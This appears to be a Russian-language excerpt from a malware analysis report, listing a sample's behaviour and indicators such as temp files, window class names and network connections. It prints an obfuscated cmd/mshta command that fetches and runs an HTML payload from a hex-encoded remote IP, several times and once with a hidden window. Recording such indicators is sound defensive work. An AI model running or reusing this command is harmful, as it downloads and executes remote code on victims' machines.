Техническая информация
- '<SYSTEM32>\cmd.exe' /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
- C:\Documents\user\locals~1\temp\~dfb66b.tmp
- '18#.7.214.7':80
- ClassName: 'MsoHelp11' WindowName: ''
- ClassName: 'AgentAnim' WindowName: ''
- '<SYSTEM32>\cmd.exe' /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html' (со скрытым окном)
- '<SYSTEM32>\mshta.exe' http://0xb907d607/fer/fer.html